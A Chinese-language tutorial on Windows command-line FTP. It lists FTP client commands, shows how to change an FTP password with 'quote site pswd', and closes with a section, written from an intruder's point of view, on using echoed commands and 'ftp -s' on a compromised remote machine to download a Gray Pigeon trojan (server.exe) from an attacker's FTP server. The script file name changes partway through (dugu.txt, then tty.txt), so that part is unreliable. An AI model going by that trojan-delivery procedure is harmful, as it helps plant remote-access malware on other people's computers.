Cmd 下FTP 使用命令全集
FTP 命令是Internet 用户使用最频繁的命令之一,不论是在DOS 还是UNIX 操作系统下使用FTP ,都会遇到大量的FTP 内部命令。熟悉并灵活应用FTP 的内部命令,可以大大方便使用者,并收到事半功倍之效。 FTP 的命令行格式为: ftp -v -d -i -n -g [ 主机名] -v 显示远程服务器的所有响应信息; -n 限制ftp 的自动登录,即不使用; .n etrc 文件; -d 使用调试方式; -g 取消全局文件名。 ftp 使用的内部命令如下( 中括号表示可选项): 1.![cmd[args]] :在本地机中执行交互shell ,exit 回到ftp 环境,如:!ls*.zip. 2.$ macro-ame[args] :执行宏定义macro-name. 3.account[password] :提供登录远程系统成功后访问系统资源所需的补充口令。 4.append local-file[remote-file] :将本地文件追加到远程系统主机, 若未指定远程系统文件名,则使用本地文件名。 5.ascii :使用ascii 类型传输方式。 6.bell :每个命令执行完毕后计算机响铃一次。 7.bin :使用二进制文件传输方式。 8.bye :退出ftp 会话过程。 9.case :在使用mget 时,将远程主机文件名中的大写转为小写字母。 10.cd remote-dir :进入远程主机目录。 11.cdup :进入远程主机目录的父目录。 12.chmod mode file-name :将远程主机文件file-name 的存取方式设置为mode ,如: chmod 777 a.out 。 13.close :中断与远程服务器的ftp 会话( 与open 对应) 。 14.cr :使用asscii 方式传输文件时,将回车换行转换为回行。 15.delete remote-file :删除远程主机文件。 16.debug[debug-value] :设置调试方式, 显示发送至远程主机的每条命令,如: deb up 3 ,若设为0 ,表示取消debug 。 17.dir[remote-dir][local-file] :显示远程主机目录,并将结果存入本地文件local-file 。 18.disconnection :同close 。 19.form format :将文件传输方式设置为format ,缺省为file 方式。 20.get remote-file[local-file] : 将远程主机的文件remote-file 传至本地硬盘的local-file 。 21.glob :设置mdelete ,mget ,mput 的文件名扩展,缺省时不扩展文件名,同命令行的-g 参数。 22.hash :每传输1024 字节,显示一个hash 符号(#) 。 23.help[cmd] :显示ftp 内部命令cmd 的帮助信息,如:help get 。 24.idle[seconds] :将远程服务器的休眠计时器设为[seconds] 秒。 25.image :设置二进制传输方式( 同binary) 。 26.lcd[dir] :将本地工作目录切换至dir 。 27.ls[remote-dir][local-file] :显示远程目录remote-dir , 并存入本地文件local-file 。 28.macdef macro-name :定义一个宏,遇到macdef 下的空行时,宏定义结束。 29.mdelete[remote-file] :删除远程主机文件。 30.mdir remote-files local-file :与dir 类似,但可指定多个远程文件,如: mdir *.o.*.zipoutfile 。 31.mget remote-files :传输多个远程文件。 32.mkdir dir-name :在远程主机中建一目录。 33.mls remote-file local-file :同nlist ,但可指定多个文件名。 34.mode[modename] :将文件传输方式设置为modename , 缺省为stream 方式。 35.modtime file-name :显示远程主机文件的最后修改时间。 36.mput local-file :将多个文件传输至远程主机。 37.newer file-name : 如果远程机中file-name 的修改时间比本地硬盘同名文件的时间更近,则重传该文件。 38.nlist[remote-dir][local-file] :显示远程主机目录的文件清单,并存入本地硬盘的local-file 。 39.nmap[inpattern outpattern] :设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换,如:nmap $1.$2.$3[$1 ,$2].[$2 ,$3] ,则传输文件a1.a2.a3 时,文件名变为a1 ,a2 。该命令特别适用于远程主机为非UNIX 机的情况。 40.ntrans[inchars[outchars]] :设置文件名字符的翻译机制,如ntrans1R ,则文件名LLL 将变为RRR 。 41.open host[port] :建立指定ftp 服务器连接,可指定连接端口。 42.passive :进入被动传输方式。 43.prompt :设置多个文件传输时的交互提示。 44.proxy ftp-cmd :在次要控制连接中,执行一条ftp 命令, 该命令允许连接两个ftp 服务器,以在两个服务器间传输文件。第一条ftp 命令必须为open ,以首先建立两个服务器间的连接。 45.put local-file[remote-file] :将本地文件local-file 传送至远程主机。 46.pwd :显示远程主机的当前工作目录。 47.quit :同bye ,退出ftp 会话。 48.quote arg1 ,arg2... :将参数逐字发至远程ftp 服务器,如:quote syst. 49.recv remote-file[local-file] :同get 。 50.reget remote-file[local-file] :类似于get ,但若local-file 存在,则从上次传输中断处续传。 51.rhelp[cmd-name] :请求获得远程主机的帮助。 52.rstatus[file-name] :若未指定文件名,则显示远程主机的状态,否则显示文件状态。 53.rename[from][to] :更改远程主机文件名。 54.reset :清除回答队列。 55.restart marker :从指定的标志marker 处,重新开始get 或put ,如:restart 130 。 56.rmdir dir-name :删除远程主机目录。 57.runique :设置文件名唯一性存储,若文件存在,则在原文件后加后缀..1 ,.2 等。 58.send local-file[remote-file] :同put 。 59.sendport :设置PORT 命令的使用。 60.site arg1 ,arg2... :将参数作为SITE 命令逐字发送至远程ftp 主机。 61.size file-name :显示远程主机文件大小,如:site idle 7200 。 62.status :显示当前ftp 状态。 63.struct[struct-name] :将文件传输结构设置为struct-name , 缺省时使用stream 结构。 64.sunique :将远程主机文件名存储设置为唯一( 与runique 对应) 。 65.system :显示远程主机的操作系统类型。 66.tenex :将文件传输类型设置为TENEX 机的所需的类型。 67.tick :设置传输时的字节计数器。 68.trace :设置包跟踪。 69.type[type-name] :设置文件传输类型为type-name ,缺省为ascii ,如:type binary ,设置二进制传输方式。 70.umask[newmask] :将远程服务器的缺省umask 设置为newmask ,如:umask 3 。 71.user user-name[password][account] :向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email 。 72.verbose :同命令行的-v 参数,即设置详尽报告方式,ftp 服务器的所有响应都将显示给用户,缺省为on. 73.?[cmd] :同help.
--------------------------------------------------------------------------------------------------------------------
ftp 命令修改ftp 密码
win 2000/xp 系统,运行“CMD ”,在命提示行下输入 ftp 回车,进入ftp 命令提示行,用 open 命令连接ftp ,以连接白白网的ftp 为例: ftp> open ftp.szele.net , Connected to ftp.szele.net , 注:表示已连接上,后面还有一些欢迎之类的信息。 User (ftp.szele.net:(none)): 注:提示输入用户名 331 User name okay, need password. Password: 注:提示用户名正确,请输入密码。 230 User logged in, proceed. 出现这个提示时表示你已经成功登陆。 输入格式命令修改密码。 ftp> quote site pswd 老密码 新密码 回车后提示: 230 Password changed okay. 密码已修改成功。 530 Cannot change password. 表示你不能修改密码。
------------------------------------------------------------------------------
在远程计算机的CMD 环境下,如果不能通过IPC$ 渠道传送文件,那就只有通过FTP 下载文件了。 假设我们已经有一个FTP 服务器,上面有一个我们配置好的灰鸽子木马文件server.exe,( 或者其他木马) 我们应该知道FTP 服务器的三个参数: 1 、FTP 服务器的IP 地址:如xxx.xxx.xxx.xxx 2 、FTP 服务器的用户名:如dugu 3 、FTP 服务器的密 码:如dugu123 在远程计算机的CMD 下依次输入下面的命令: 1 、echo open xxx.xxx.xxx.xxx>>dugu.txt 登陆FTP 服务器 2 、echo dugu>>dugu.txt 用户名 3 、echo dugu123>>dugu.txt 密码 4 、echo bin>>dugu.txt 开始 5 、echo get server.exe>>dugu.txt 下载灰鸽子木马 6 、echo bye>>dugu.txt 关闭FTP 服务器 输入上面命令后,在远程计算机上就会生成一个tty.txt 文件,内容为: open xxx.xxx.xxx.xxx dugu dugu123 bin get server.exe bye 现在我们在远程计算机上执行下面的命令: ftp -s:tty.txt 意思是,读取tty.txt 里的参数,执行ftp 命令,命令执行完后,灰鸽子木马文件server.exe 就下载到对方计算机里 下面就是最常用的几条FTP 命令: 开始- 运行 里输入ftp 后就可以使用下面的命令了: 1. open :与ftp 服务器相连接; 2. send(put) :上传文件; 3. get :下载文件; 4. mget :下载多个文件; 5. cd :切换目录; 6. dir :查看当前目录下的文件; 7. del :删除文件; 8. bye :中断与服务器的连接。